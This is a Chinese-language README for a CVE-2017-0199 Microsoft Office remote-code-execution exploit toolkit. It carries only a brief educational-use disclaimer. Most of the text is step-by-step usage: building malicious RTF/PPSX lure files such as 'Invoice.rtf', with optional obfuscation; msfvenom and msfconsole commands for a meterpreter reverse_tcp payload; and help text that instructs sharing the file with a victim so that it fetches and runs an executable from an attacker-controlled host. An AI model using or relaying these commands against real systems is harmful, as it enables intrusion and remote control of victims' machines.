Exploit toolkit CVE-2017-0199 - v4.0 是一个便捷的 Python 脚本,为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft Office RCE。它可以生成恶意 RTF/PPSX 文件,并在无需任何复杂配置的情况下将 metasploit / meterpreter / 其他 payload 投递给受害者。
本程序仅供教育目的使用。未经许可请勿使用。常规免责声明同样适用,尤其是本人(bhdresh)不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害负责。作者或任何互联网服务提供商对这些程序及其任何衍生品的内容或滥用不承担任何责任。使用本程序即表示您接受:因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 bhdresh 的责任。
最后,这是一个个人开发项目,请尊重其理念,不要将其用于非法用途!
CC BY 4.0 许可证 - https://creativecommons.org/licenses/by/4.0/
为脚本引入了以下功能
- 生成恶意 PPSX 文件
- 针对所生成 PPSX 文件的利用模式
- 更新 template.ppsx
版本:Python 2.7.13
1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (可选,如果使用 MSF Payload):生成 metasploit payload 并启动 handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 以利用模式启动工具包以投递本地 payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) 以利用模式启动工具包以投递远程 payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) 以利用模式启动工具包以投递自定义 HTA 文件
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h
这是一个用于利用 CVE-2017-0199(Microsoft Office RCE)的便捷工具包
模式:
-M gen 仅生成恶意文件
生成恶意 RTF/PPSX 文件:
-w <Filename.rtf/Filename.ppsx> 恶意 RTF/PPSX 文件的名称(将此文件分享给受害者)。
-u <http://attacker.com/test.hta> HTA/SCT 文件的路径。通常情况下,这应为运行本工具的域名或 IP。
例如,http://attackerip.com/test.doc(此 URL 将包含在恶意 RTF/PPSX 文件中,一旦受害者打开恶意 RTF 文件,便会请求该 URL。)
-t RTF|PPSX (default = RTF) 要生成的文件类型。
-x 0|1 (default = 0) 生成混淆的 RTF 文件。0 = 禁用,1 = 启用。
-M exp 启动利用模式
利用:
-t RTF|PPSX (default = RTF) 要利用的文件类型。
-H </tmp/custom> 需要在目标上投递并执行的自定义 HTA/SCT 文件的本地路径。
注意:此选项不会投递通过选项 "-e" 和 "-l" 指定的 payload。
-p <TCP port:Default 80> 本地端口号。
-e <http://attacker.com/shell.exe> 需要在目标上执行的可执行文件 / meterpreter shell / payload 的路径。
-l </tmp/shell.exe> 如果 payload 托管在本地,请指定可执行文件 / meterpreter shell / payload 的本地路径。
@nixawk 提供 RTF 样本,@Li Haifei,@bhdresh
显然,我不是全职开发者,因此难免会有一些小问题
请通过 https://github.com/bhdresh/CVE-2017-0199/issues/new 报告 Bug 和问题